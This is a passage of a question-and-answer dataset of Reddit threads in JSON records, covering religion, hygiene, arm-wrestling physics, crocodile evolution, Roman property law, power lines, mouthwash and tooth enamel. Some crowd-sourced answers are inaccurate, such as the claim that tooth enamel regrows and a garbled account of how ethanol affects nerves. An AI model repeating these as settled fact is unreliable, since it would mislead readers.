the service and worship of God.\n\nAnother central aspect is the basic idea that God reveals Himself in a way and manner that humans can understand (in part - divine \"mysteries\" like the Incarnation by definition can't be exhausted by our intellectual investigations). God desires to be known, and even though He in Himself is spirit (not material), He nonetheless condescends to the limitations of human thought and language in order to be better known and loved. Art and imagery are essential to the human experience and our coming to fully know and appreciate that which is beautiful, including God. As such, the Church takes seriously the challenge of communicating divine truths across a number of mediums, acknowledging their various inherent limits.\n\nI didn't get into some of the doctrinal discrepancies we have vis-a-vis Protestants or other faiths, but I hope this was helpful!", "I guess the fact that some of the popes were quite worldly men that celebrated luxury, food and arts it became quite popular at some point to show off the wealth that the catholic church has in form of magnificent architecture, statues, paintings, etc. because it was a sign of their power and influence they had. Also the power of the vatican rose at a similar time where the higher arts flourished in Italy, which is probably a reason why they influenced each other a lot.", "Among other reasons, it is likely because Catholicism rose in popularity and influence during the Dark Ages in Europe when most of the population was illiterate and the mass was in a foreign language (Latin).", "It goes back to the fact Catholics stole a lot of pagan symbolism, and idols. The first Christian's had to hide from the Roman church, so they wouldn't be prosecuted. Then when Constantine became a Christian that's when the cultural appropriation started to happen.   St. Brigid was a Celtic goddess before she was a saint. The Easter bunny, more like ostara bunny. So that's my explanation. Conversion rates. You keep the thing they are use to, put the Catholics stamp of approval on it and presto! You have modern day Catholicism. ", "Funny how the 2nd commandment reads:\n\nYou shall not make for yourself an image in the form of anything in heaven above or on the earth beneath or in the waters below. You shall not bow down to them or worship them; for I, the Lord your God, am a jealous God . . .\n\nYet the catholic church has all their icons and statues.  Gotta love how the church is the first to break their own laws.", "Is it? They all seem pretty equally visual to me", "Have to say, this is dangerously close to breaking the sub rule of no \"Questions with a flawed premise\".\n\n", "One major factor I learned in a class a couple years ago was the Roman influence. And this wasn\u2019t just Catholicism; *early Christianity* was very big on images (this includes the Eastern Orthodox, Coptics, and the like), since Roman culture (which was where Christianity was first legalized and institutionalized) was also very big on images, and in fact some of he first church buildings were Roman temples that were refashioned to fit the new faith, with images of the old gods replaced by images of Christ or the Blessed Virgin.\n\nIn fact, despite what many would tell you, the whole \u201cno image\u201d philosophy is a fairly new idea in Christian history, and is the *deviation* from the original, since we (and all the other Christian churches that are big on images) came first."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://previews.123rf.com/images/weerawat/weerawat1112/weerawat111200010/11786639-largest-buddha-statue-in-thailand-ang-thong-province-thailand-.jpg"], ["https://www.pbs.org/wgbh/pages/frontline/shows/religion/", "https://www.metmuseum.org/toah/hd/myst/hd_myst.htm"], [], [], [], [], [], [], [], [], [], [], [], ["https://www.churchpop.com/wp-content/uploads/2015/07/1210.jpg", "https://i1.wp.com/christchurchwindsor.ca/wp-content/uploads/2010/04/Domitilla_Christ-Apostles.jpg"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1qf9c3", "title": "Washing hands with soap then drying with towel (germs).", "selftext": "**Are there not germs on the towel? How necessary is soap?** Liquid vs bar? Why? This is the type of information I seek.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qf9c3/washing_hands_with_soap_then_drying_with_towel/", "answers": {"a_id": ["cdclk0n"], "score": [3], "text": ["The surfactants in soap work to make non-water soluble substances rinse off easier with water, such as as body oils and more solid contaminants. There need to be additional antibacterial ingredients in the soap to kill specific germs, and even then it has to stay in contact with the germs long enough to kill them.\nThe act of rinsing your hands alone, without soap, will rinse off a small amount of germs. Adding agitation will get more soil/contaminants off as the water carries it away. Adding soap will get the more stubborn contaminants off. And finally, using antibacterial soap/hand sanitizer will kill more germs.\n\n\nAn important thing to note is 'germ killing'/'antibacterial' soaps and solutions don't just kill all germs/bacteria they contact. Certain chemical compositions will kill certain bacteria/viruses. \"Kills 99.99% of germs!\" is just a marketing gimmick. Usually, soap manufacturers use chemicals that kill the most common bacteria/viruses like flu, cold, e. coli, staph, and so on.\n\n\nThat being said, many unimportant/impotent germs will remain on your skin, even after washing with soap. You'll always be covered in microorganisms. Always. Along those lines, bar soap will also retain germs on its surface. As will a towel. Even if you do your best to keep these clean and fresh, they will have germs on them. Especially located in the bathroom. There are trace amounts of fecal matter everywhere and on everything in a bathroom. Mold and mildew can also thrive in poorly ventilated bathrooms and leave traces.\n\nAlthough you really don't need to be concerned about any of that, because most dangerous bacteria can't survive on those surfaces for very long. If you're germaphobic or just want to be as 'clean' as possible, the best way to go about it would be to use antibacterial soap from a hands free dispenser, lather for at least 20 seconds and then rinse thoroughly, and use a paper towel. Always flush the terlet with the lid down. Avoid touching your face or rubbing your eyes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1a9wm8", "title": "Who has the advantage? ...anatomy of the arm wrestle.", "selftext": "If two people of the same gender and equal strength but differing arm lengths were to arm wrestle, who would have the advantage on paper? ie, does longer forearm come as an advantage in this sport?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1a9wm8/who_has_the_advantage_anatomy_of_the_arm_wrestle/", "answers": {"a_id": ["c8vfpmt", "c8vfxwu", "c8vfyhc", "c8vfzli", "c8vgb6s", "c8vhhjx", "c8vj3fz", "caqx5w5"], "score": [232, 7, 6, 32, 4, 16, 2, 2], "text": ["With equal muscle cross section, one would expect shorter limbs to provide more force.  (Another user posted an answer that got this backwards.)  This doesn't take any kind of technique into account.", "Having a shorter arm should give you the advantage, your opponent pushing your arm would create a smaller moment (force x distance) which results in your muscles having to provide a smaller force. This is assuming everything else is identical.", "This is a question of torque.  We are assuming that the arms of both parties are applying equal force.  However, the shorter arm can apply more torque to the person with the longer arm because the force is being applied at a point farther away from the fulcrum (shoulder).  So I would put my money on short-arms.", "I'd just like to flesh this answer out a little more than the small sentences in here.\n\nThere's a few questions within the main question:\n\n**1)** How much torque can you produce with your body.\n\nA) With your elbow as the pivot point, and depending on the angle of your body, most of this force will be produced by the muscles that perform medial/internal rotation of your humerus (upper arm). The size of your body actually has little to do with the force you can produce as, regardless of size, the origins and insertions of your muscles will be at an equally relative distance.\n\nGenetic factors conflict here, as things can move around, but I am not very well versed in that area.\n\n**2)** Does the arm size difference create a disadvantage/advantage for each person (physiologically).\n\nA) For the time being, my answer is no. The arm wrestling that I'm aware of has extremely loose rules. Unless you provide rules which can be analyzed, I will assume that each participant can maneuver to a position that puts them in a comfortable range where they can apply the greater amount of their strength.  There will be slight differences, of course, but they should be within a reasonably negligible range as they are fairly complex.\n\n**3)** Does the arm size difference create a disadvantage/advantage for each person (physically).\n\nA) Yes. The further from a pivot point that a force is applied, the more effective it is. Compare trying to arm wrestle someone's (or your own) forearm as opposed to their hand, it is more difficult.\n\nConflicting factors: There are too many things occurring here. Stabilizer muscles play a great role in isometric exercise. The shoulder is specifically more complex because of the large number of muscles at work here, converting pulleys into torque. Furthermore, genetics as well as skill play a large role here, too.\n\nThe winner: Whoever has practiced more and done the most (it's been a while since high school gym) ?rotator cuff? exercises?. Their bodies will be the most adapted to this motion (assuming proper \"natural\" body limitations).", "The arm length theory can be debated because the longer arm will adjust the angle to meet at the same length. so picture an arm at a complete 90 degree angle and a longer one that must be an an obtuse angle in order to compensate for the hight difference. Therefore im saying arm length is not necessarily directly related to ease of defeat, there are other variable to consider\n\nThe next argument should be, what angle ( if at any) do you have an advantage at? OR is it an advantage to be at a larger or smaller or perfect 90 degree angle?", "Okay, I'll come at this from a physiological and sporting position rather than a physics-based one.\n\nFirst, you have to realize that technique is a huge factor in arm wrestling, especially competitive matches. There are a variety of methods to place yourself in an advantageous position in armwrestling. And there are, of course, counters as well. Most of these techniques are designed to force the opponent's palm up, which weakens the opponent's wrist and arm structure. At its most basal level, armwrestling is about manipulating your opponent's arm in such a way the he has to resist the strength of your triceps and/or torso with only his bicep and possibly deltoid, depending on his own position. There are ways that people with short forearms can do this and ways that people with long forearms can.\n\nBut if you're talking about laymen, a shorter forearm is probably more advantageous because it allows the armwrestler to maintain a more acute angle in his arm, which grants structural and muscular stability and makes it much easier to rotate his torso, dragging his opponent's hand under his shoulder.", "As someone who is tall (6'8\") with long forearms, I can answer without doubt that shorter forearms are better in arm wrestling. For all the reasons stated herein and also because of the geometry of arm wrestling. If I'm arm wrestling someone with shorter forearms, my forarms will be at a much different angle. Their forearm is closer to 90 degrees while my forearm is lower than 45 degrees. This means it's easier for them to go over the top than it is for me because it's easier to generate force from the 90 degree position.", "I think the better question is, does this have any real world relevance or is it just an intellectual debate?  Based on the closest thing we have to human \"case studies,\" the best arm wrestlers are not the shortest.  \n\nCase study Evidence:  \n\nMagnus Samuelsson is 6'7\nTravis Bagent is 6'3\nRon Bath is 6'2 \nAlexey Voyevoda is 6'4\nIgor Mazurenko is 6'1\nGeoff Capes (a reknown arm wrestler in the 80's before it became majorly sanctioned) stood 6'6\n\nAll of these examples are arm wrestling champions well above average height who undoubtedly had/have longer arms than many of their opponents.  \n\nKinesiology: Muscular Force Production\n\nAnother consideration is that while having the most vertical forearm would give you a mechanical advantage, it is well established that maximal muscle force is reached when a muscle is neither fully contracted or fully elongated.  It occurs in the middle.  So while the shorter athlete may have a smaller joint angle at the elbow, this doesn't necessarily do him any favors in terms of maximal force production from the biceps. The wrestler with the slightly larger joint angle would in fact be in a position to generate greater contractile force.  \n\nThis discussion kind of reminds me of how the pundits said for years that a tall man would never compete in the 100m dash because he would never be able to reach a high enough stride frequency, and then Usain Bolt came along at 6'5 and smashed the world record, over and over.  If we are talking theoretical physics, the short man has an advantage in arm wrestling.  If we are dealing with reality, just look at the height profiles of all the past and present champions in arm wrestling.  They cover the full spectrum.  That should shed light on the amount of relevance arm length actually has in the sport.\n\nHoagieMoagie, BS Kinesiology, CSCS, NSCA\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "2171vi", "title": "Crocodiles have a sprawling posture while some of the early archosaurs had an upright posture. Did crocodiles re-evolve the sprawling gait or were they part of a more ancient lineage?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2171vi/crocodiles_have_a_sprawling_posture_while_some_of/", "answers": {"a_id": ["cgag3cp"], "score": [90], "text": ["Crocodylians don't have a spawling posture in the same way [lepidosaurs](_URL_5_) (like lizards) do, which is why they \"high walk\" with their limbs held beneath their bodies (every modern crocodylian can do this but the adult gharial). \n\nThey don't represent an \"ancient\" form of locomotion, nor do they show some transitional state between lepidosaurs and dinosaurs, as I've seen suggested. Their methods of moving around on all fours are something that has been selected for in their evolution rather than some unchanging holdover of something prehistoric. \n\nCrocs and dinosaurs (including birds) belong to a group called Archosauria. Early in their evolution they split into bird-line and croc-line archosaurs. The bird line includes dinosaurs, pterosaurs, and a few other taxa. \n\nThe croc line includes a ton of diversity many people don't know about. Modern crocs (in the order Crocodylia) don't even show up in the fossil record until the Late Cretaceous, about 75-80 million years ago. In the meantime, multiple groups ended up looking like what we'd recognize as a crocodile, but based on what we know of their early evolution, their ancestors were long-legged and terrestrial (like [*Gracilisuchus*](_URL_1_) and, slightly later, [*Hesperosuchus*](_URL_6_)). There's a broad grade called \"rauisuchians\" that don't represent a valid taxon, and they have an upright stance (like [*Prestosuchus*](_URL_3_) and [*Batrachotomus*](_URL_0_)). Even closer to the origin of the group of modern crocs you have animals like the [notosuchians](_URL_2_).\n\nIn short, yes, it seems like modern crocs did re-evolve their sprawling posture. This is [based on both evidence in the fossil record and their current methods of locomotion](_URL_4_) (PDF)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Batrachotomus", "http://en.wikipedia.org/wiki/Gracilisuchus", "http://en.wikipedia.org/wiki/Notosuchia", "http://en.wikipedia.org/wiki/Prestosuchus", "http://jeb.biologists.org/content/201/18/2559.full.pdf+html?maxtoshow=&amp;HITS=10&amp;hits=10&amp;RESULTFORMAT=&amp;andorexacttitle=and&amp;andorexacttitleabs=and&amp;andorexactfulltext=and&amp;searchid=1&amp;FIRSTINDEX=0&amp;sortspec=relevance&amp;volume=201&amp;firstpage=2559&amp;resourcetype=HWCIT", "http://en.wikipedia.org/wiki/Lepidosauria", "http://en.wikipedia.org/wiki/Hesperosuchus"]]}
{"q_id": "6ftiw8", "title": "what methods actually deter crime?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ftiw8/eli5_what_methods_actually_deter_crime/", "answers": {"a_id": ["dim2o2d"], "score": [2], "text": ["Education, employment opportunities, and community engagement.\n\nIf you can't get a job and are seen as \"the other,\" you can't support yourself. That leads to seeking out other means of support that society doesn't approve of.\n\nWhen you can get a proper education, a secure job, and feel like a part of a community, you have little to no incentive to commit crimes against others."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "397288", "title": "I'm a citizen of the Roman Empire in 150CE and I want to buy a home. How does the home buying process in Rome work? Mortgages? Paperwork? Realtors?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/397288/im_a_citizen_of_the_roman_empire_in_150ce_and_i/", "answers": {"a_id": ["cs1gzyx", "cs1ugb4"], "score": [11, 26], "text": ["Interesting question and I have no answer. Just questions of my own.\n\n* What were property rights like during this period? \n* Was it more common for average people to just build their own home?\n* How would land disputes be resolved? ", "I am a lawyer with some knowledge of Roman law, so I'll give this question a go. Mods, be kind.\n\nThe answer to your question depends on some extent to which period of the Roman empire you're asking about. Early Roman law (753\u00b1250 BC), for example, was based on an inflexible and formal legal system called the ius civile which was only applicable to Roman citizens. The preclassical period (250\u00b127 BC) necessitated a legal system that could deal with the empire's expansion. The ius gentium was created, which made provision for people who were within the boundaries of the Roman empire, but were not Roman citizens. It applied to disputes between foreigners and to disputes between Roman citizens and foreigners, and was more informal. During the classical period (27 BC\u00b1AD 284), in AD 212, Emperor Caracalla promulgated the constitutio Antoniniana, which theoretically extended citizenship to all the inhabitants of the Roman empire. This removed any need for different legal systems for citizens and non-citizens and the differences between the various systems therefore gradually disappeared. Etc.\n\nRoman law had strict categories for res (things). A house would be categorised as follows: a thing in the estate (res in nostro patrimonio) and therefore a thing in commerce (res in commercio); a corporeal thing (res corporales); a composite and indivisible thing; and an immovable thing (res immobiles).\n\nThe most important distinction was whether something was res mancipi (agricultural in nature) or res nec mancipi (not). A house would be considered agricultural. In early Roman law, ownership of res mancipi could only be transferred through formal methods of conveyance, which methods were the mancipatio and the in iure cessio.\n\n**Mancipatio**\n\n > The effect of mancipatio was that ownership of the things concerned passed if the things had been alienated by the owner.\n\n > Mancipatio was an ancient institution that had long been in existence when the law of the Twelve Tables was promulgated (450 BC ). It dates back to a period when coined money was not yet in use and payment was made by paying over a specific amount of copper or bronze. This explains the important part played in the transaction by the person holding the scale and the scale on which the metal was weighed.\n\n > The procedure was very formal. Both parties, the person holding the scale and the thing had to be present in front of five witnesses. The witnesses had to be Roman citizens over the age of puberty. The transferee (buyer) had to hold the thing and formally declare that the thing belonged to him and that he had bought it with the copper or bronze with which he touched the scales. The copper or bronze was then handed over to the transferor (seller).\n\n > Mancipatio was therefore originally a formal cash sale as well as a mode of transferring ownership (dominium). Coined money was only used from the fourth century BC and it expanded the application of mancipatio. The symbolism of the scales was retained, but it was simply touched with a coin and it was no longer necessary to weigh off and hand over the exact amount of money.\n\n > Ownership of res mancipi was transferred by the mancipatio procedure provided the transferor (owner), the transferee (new owner) and the witnesses were all Roman citizens (or had formally received the right to participate in Roman commerce). Further, only persons under paternal authority and res mancipi could be transferred by means of this legal procedure. The distinction between res mancipi and res nec mancipi applied from early on and remained important from the preclassical period until deep into the postclassical period. \n\n > Mancipatio was initially a cash sale and the transfer of ownership was effected simultaneously with the payment of the sum of money in cash. Once this symbolic sale had become the rule, it came to be used in this form for the transfer of ownership. The reason (causa) for the transfer of ownership by means of mancipatio could have taken a number of forms. Examples included a cash sale, a donation, the provision of a dowry, agreements arising from real security, the performance of obligations arising from a verbal contract, a legacy, et cetera.\n\n > Note that mancipatio may be regarded as an abstract mode of transfer of ownership. The reason for this statement is that if the underlying agreement (eg the contract of purchase and sale, the donation or the testamentary disposition) were to prove invalid, ownership would nevertheless pass to the recipient. The formal act as such brought about the legal consequences and the invalidity of the reason or causa did not affect the transfer of ownership.\n\n > The mancipatio procedure simply gave effect to the intention of the parties to create a real right. Mancipatio was therefore not a contract or agreement. The procedure usually consisted of the following two steps:\n\n > Agreement (eg a contract of purchase and sale)\n\n > +\n\n > Mancipatio\n\n > During the classical period (ie 27 BC\u00b1AD 284) the informal mode of transferring ownership (delivery = traditio) gradually supplanted the formal mancipatio in practice. Long before Justinian removed it from the classical sources and formally abolished it, mancipatio had fallen into disuse.\n\n**In iure cessio**\n\n > In iure cessio (cession before the praetor) was already in existence at the time of the Twelve Tables. Like mancipatio, it was a formal act that formed part of the ius civile and could only be used by Roman citizens. All kinds of things, that is res mancipi and res nec mancipi, as well as incorporeal things, could be transferred in this way.\n\n > Both parties and the thing to be transferred (or a symbol thereof) had to appear before the praetor. The transferee took hold of the thing and formally declared that he was the owner. The transferor did not contest this and the praetor then awarded the thing to the transferee.\n\n > In iure cessio could, like mancipatio, have any reason or cause and was independent of the validity of such cause. Therefore it was also an abstract mode of transfer of ownership. It is important to remember that civil ownership only passed in the case of in iure cessio if the person who was transferring or delivering the thing was the owner. The nemo plus iuris rule (one cannot transfer more rights than one has) was therefore also applicable here.\n\n > You should bear in mind that the formal act (in iure cessio), like mancipatio, followed a preexisting agreement or cause. Therefore we can also speak of two steps.\n\n > Agreement (eg a contract of sale)\n\n > +\n\n > In iure cessio\n\n > This form of transfer of ownership fell into disuse at the end of the classical period and was formally abolished by Justinian.\n\n > Mancipatio and in iure cessio are considered to be abstract modes of transfer of ownership. This means that even if the underlying reason (causa) (eg the contract of sale) was invalid, ownership still passed.\n\nAsk if you have any more questions.\n\nSource: Foundations of the South African Law by Prof H van den Bergh et al."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3g3d8v", "title": "Is it really possible to \"steal\" electricity from high voltage lines via induction?", "selftext": "I've heard anecdotes about people doing this. I know it's possible. But  I wonder if it could be done in any practicable way. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3g3d8v/is_it_really_possible_to_steal_electricity_from/", "answers": {"a_id": ["ctupkat", "ctv6oid"], "score": [10, 2], "text": ["depends on what you mean by practicable, if you want a reliable and safe source of power you'll need a lot of expensive equipment, if you just wrap a coil around the line you'll receive low power high voltage wich is very hard to work with and electrocuting yourself in the process of assembling your construction is likely at 380kV (european high voltage line)", "I looked into this briefly a while ago (for science!), and what I learned was that the majority of interesting electrical field interactions related to power lines occurs in the spaces between the power lines. So, your induction apparatus would need to be at the top of the power pole, not on the ground beneath it. From the ground, the distance to the power lines is great enough that the electrical fields essentially cancel each other out, leaving very little power available for scavenging.\n\ntl;dr - not for any practically useful amount of power in any remotely safe way"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3zhyxi", "title": "what does the 9/10 mean in gas prices? ex: $2.38 9/10", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3zhyxi/eli5_what_does_the_910_mean_in_gas_prices_ex_238/", "answers": {"a_id": ["cyma87c"], "score": [3], "text": ["One extra cent you pay.  Or 90% of a cent.   Psychological effect of paying less and to squeeze a fraction of a penny out of you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2bo2cl", "title": "What is the significance of the phase angle in AC power?", "selftext": "I've taken 2 physics classes and 2 circuit analysis classes, and I did well in them. I was able to apply equations using the phase angles but I don't fundamentally understand its significance and how it effects other elements of the circuit. Is there some physical representation besides lines on an Oscope that can help me understand this.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2bo2cl/what_is_the_significance_of_the_phase_angle_in_ac/", "answers": {"a_id": ["cj7b3bn"], "score": [4], "text": ["I'm not sure what kind of answer you are looking for.\n\nThe instantaneous power of a component is its instantaneous voltage times the current through it. This comes directly from the definition of work done on a charge Q by a potential V during some time t: P = V Q/t = V I. This definition works for the entire circuit as well, of course, and you  use the instantaneous version for AC circuits and take the integral over a period to find the average power. \n\nTherefore, if both v(t) and i(t) are in-phase, then you have the maximum power being used by the circuit. [Here's a quick derivation of the result](_URL_1_).\n\nThe phase angle comes from the total impedance of the circuit, which will give you a relation between [the real and apparent power](_URL_0_). The real power is what the circuit is actually using, and the apparent power comes from the phase shift between v(t) and i(t), which makes the circuit \"give back\" some of the energy during each cycle.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/b/be/Power_Triangle_01.svg", "http://hyperphysics.phy-astr.gsu.edu/hbase/electric/powerac.html#c2"]]}
{"q_id": "19eh8l", "title": "What is this ring-like object currently appearing over Brisbane?", "selftext": "I just walked out the front of my house and saw this. My friend took a photo of it. What is this huge ring around the moon? It's visible to the eye.\n\n[View image here](_URL_0_)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19eh8l/what_is_this_ringlike_object_currently_appearing/", "answers": {"a_id": ["c8na29c", "c8na2uc", "c8na5co", "c8nfioj", "c8nnrh0", "c8noe2l"], "score": [320, 31, 2, 10, 2, 30], "text": ["Looks like a [22\u00b0 halo](_URL_0_).  It's caused by moonlight refracting through hexagonal ice crystals high up in the atmosphere.", "It's a [halo](_URL_0_). It's caused by light from the moon being refracted as it passes through the atmosphere.", "It is like a sun dog, or parhelion, but they call it a moon dog or paraselene.  Kind of neat.  Here are the Wikipedia links:\n\nSun Dog\n_URL_1_\n\nMoon Dog\n_URL_0_\n\nEDIT:  I have been corrected, it is a halo.", "Lunar Halo; also sailors used them to predict storms...", "Maybe this is a better question for r/askhistory but how did humanity interpret this, moon and sun dogs throughout recorded history?", "As others have answered, it's a 22\u00b0 halo caused by the hexagonal platelets of ice crystals high up in the atmosphere and the index of refraction of ice.\n\nHere is an animated gif I just made of how impressive ice crystal diffraction can be:\n[_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/WxnkKQ4.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/22%C2%B0_halo"], ["http://en.wikipedia.org/wiki/22%C2%B0_halo"], ["http://en.wikipedia.org/wiki/Moon_dog", "http://en.wikipedia.org/wiki/Sun_dog"], [], [], ["https://dl.dropbox.com/u/20134480/photos/HaloSim/animated.gif"]]}
{"q_id": "derao9", "title": "When I was young I was told that when rinsing with mouthwash containing alcohol (listerene for example) That the burning meant it was working. Is that true? If not, why does it stop burning after the first few seconds?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/derao9/when_i_was_young_i_was_told_that_when_rinsing/", "answers": {"a_id": ["f2ydv99", "f2zm2ia"], "score": [24, 20], "text": ["It contains Ethanol, and the reason it subsides after a little while is  because the Ethanol numbs the nerves in the tongue and is a muscle relaxant.\n\nIt is also used in E10 fuels.\n\nChemically it is a neurosuoressant, suppressing the Neuro transmitters in the brain", "Yes but no. You feel the ethanol numbing your nerves by sucking out water from them (if you left a high concentration of alcohol in your mouth long enough, they would start to die too). The alcohol also dries out bacteria, turning them into shriveled dead husks. So the feeling you\u2019re feeling the alcohol in your mouth, but you\u2019re not feeling the microbes die"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "14und5", "title": "Does special relativity have any flaws?", "selftext": "We know that the theory of general relativity has its shortcomings, but what about special relativity? Are there any circumstances under which special relativity falls short or fails altogether?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14und5/does_special_relativity_have_any_flaws/", "answers": {"a_id": ["c7gkhno", "c7gxk3b"], "score": [15, 2], "text": ["The special theory of relativity is, as the name implies, a special case of the general theory of relativity. Specifically, it's what you get from the general theory of relativity if you assume there are no gravitational sources present. As such, any physical situation that can't be described using the general theory automatically can't be described using the special theory. Moreover, the special theory doesn't work in any case where you have gravity, though it can be used as a very good approximation when gravity is fairly week and uniform (like on the surface of Earth).", "CPT violation implies Lorentz Invariance violation. I'm typing on a tablet so I don't feel like elaborating, but look it up, it's quite interesting! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4qbr1v", "title": "what is a country credit rating, and how does one determine said rating?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4qbr1v/eli5_what_is_a_country_credit_rating_and_how_does/", "answers": {"a_id": ["d4rr4db"], "score": [2], "text": ["A credit rating is assigned by a credit rating agency, such as Moody's or Standard  &  Poor's, which have 80% market share in the U.S. (although there are other smaller ones as well). These agencies review not only sovereign nations but also individual companies to determine how likely it is that the entity will pay back a loan with interest. For a country, it means the agency will review things like economic growth, political stability, and other metrics to arrive at a rating. \n\nGenerally, stable countries with steady economic growth get higher ratings because they are more likely to pay back loans. It affects a country because bankers and investors generally don't like very risky investments. So if a country has a lower rating, bankers will only agree to loan money with a higher interest rate. For the country in question, this means that borrowing money gets more expensive (in other words, the loan will have a higher interest rate) which can reduce the amount of money it will be able to raise.\n\nAs for Argentina, they have such a low credit rating because they defaulted on loans in 2001. But rather than coming to an agreement for restructuring with all creditors, they unilaterally forced creditors to take a certain settlement. About 7% of their creditors refused and had been suing Argentina for about a decade (their former president referred to these holdout creditors as vultures so if you've heard of \"Vulture Funds\" they were likely involved in the litigation). Because of their unwillingness to negotiate Argentina has had a very low credit rating and was essentially cut out of many capital markets. The new Argentinian president, however, settled the suit within months of taking office so their rating will probably increase slowly as they continue to make payments."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "rbgq9", "title": "waking up.", "selftext": "How we go from that special sleepy brain wave stuff to normal awakeness. Especially after being really suddenly awakened by a loud noise or something.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rbgq9/elif_waking_up/", "answers": {"a_id": ["c44gvzg"], "score": [12], "text": ["When you're both asleep and awake different parts of your brain are working together, activating and suppressing each other.\n\n* When you're deeply asleep and not dreaming, in non-REM sleep, most parts of your brain (as far as we mostly know) are in a literal kind of \"sleep-mode\", pulsing with slow waves of brain activity. We don't know *exactly* how and why we feel more rested and other specific mechanics of sleep very well but this is something lots of scientists are trying to understand. When you wake up naturally, your brain has already started to get out of most of this very deep sleep by the time you regain consciousness.\n\n* Being violently woken up in this state leads to massive disorientation and grogginess. You're bewildered, blinking in the dark, and just like \"whaaaa...?\" Your brain is still \"powering up\" and waking up in the literal sense. All those parts of your brain that you need to consciously function that were put asleep such as acute visual processing, spacial orientation, and hearing need to get running. Obviously, these work at a minimum to defend you against danger while sleeping, but the amount of stimulus needed for a reaction increases. For example, when someone is sleeping very deeply you need to shake them or make quite a lot of noise to get them to respond. Their senses are \"dumbed-down\". When you wake up suddenly, your senses are still \"dumbed-down\" and it takes a while for them to become acute and fully functioning. The consciousness and reasoning zones of your brain are especially effected which results in the zombie like confusion. If your alarm was set to wake up you up while you were in this state, you might still feel tired and in need of lots of coffee for many minutes or even a few hours. Of course, if what woke you up was violent enough and your brain thinks you're still in danger, your survival mechanisms kick in and all the flight-or-fight chemicals such as adrenaline can make you focus almost immediately because it might be a matter of life and death.\n\n\n* When you're dreaming, in REM sleep, much of your brain is already active. Parts of your brain release biological chemicals that block signals from leaving your head so that you don't physically act out your dreams. If you're woken up in a \"shallower\" sleep state or REM sleep, your brain doesn't have as much \"waking up\" to do, it's already alert and processing and functioning at near-full power, including the consciousness and reasoning zones (after all, you're consciously perceiving in a dream even if you're not aware that you're asleep). If you're jolted into the frame of reality, your mental faculties are already up and running and all you have to do then is quickly get an awareness of your surroundings and you're good to go."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4hj7eu", "title": "why do companies offer scholarships?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4hj7eu/eli5_why_do_companies_offer_scholarships/", "answers": {"a_id": ["d2pzf0n", "d2pzoy0"], "score": [16, 3], "text": ["The first reason is because the people running the company are decent human beings who want to help others.\n\nThe second reason is that offering scholarships is a really good form of advertisement, because people will then connect your company to the idea of being decent human beings who help others, and that will make them more likely to choose your company. \"Hmmm, do I want BACON A or BACON B? Both taste pretty good. But the company that makes Bacon A runs a scholarship, they're good people and I know that a little of my money will go to help people if I buy their products! Bacon A it is!\"\n\nSo a mix of genuine care and altruism mixed with selfish advertisement.", "Because if a company depends on educated workers, then its in their interest to help educate the workforce. Some might be specific, like a pharmaceutical company sponsoring chemistry scholarships, or it may be more general like a company HQed in a certain city to give a scholarship to somebody from that community. It also spreads goodwill and gets media attention that replaced a paid ad of some sort -- so it kills two birds with one stone, ie. helping a student and good publicity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "dvulb8", "title": "if we do not grow new enamel on our teeth, how come for a couple days here and there my teeth are sensitive, and then go back to normal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dvulb8/eli5_if_we_do_not_grow_new_enamel_on_our_teeth/", "answers": {"a_id": ["f7f4l7c"], "score": [2], "text": ["You can grow more enamel, but regular abuse generally outpaces the regeneration. Saliva helps heal teeth and enamel."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
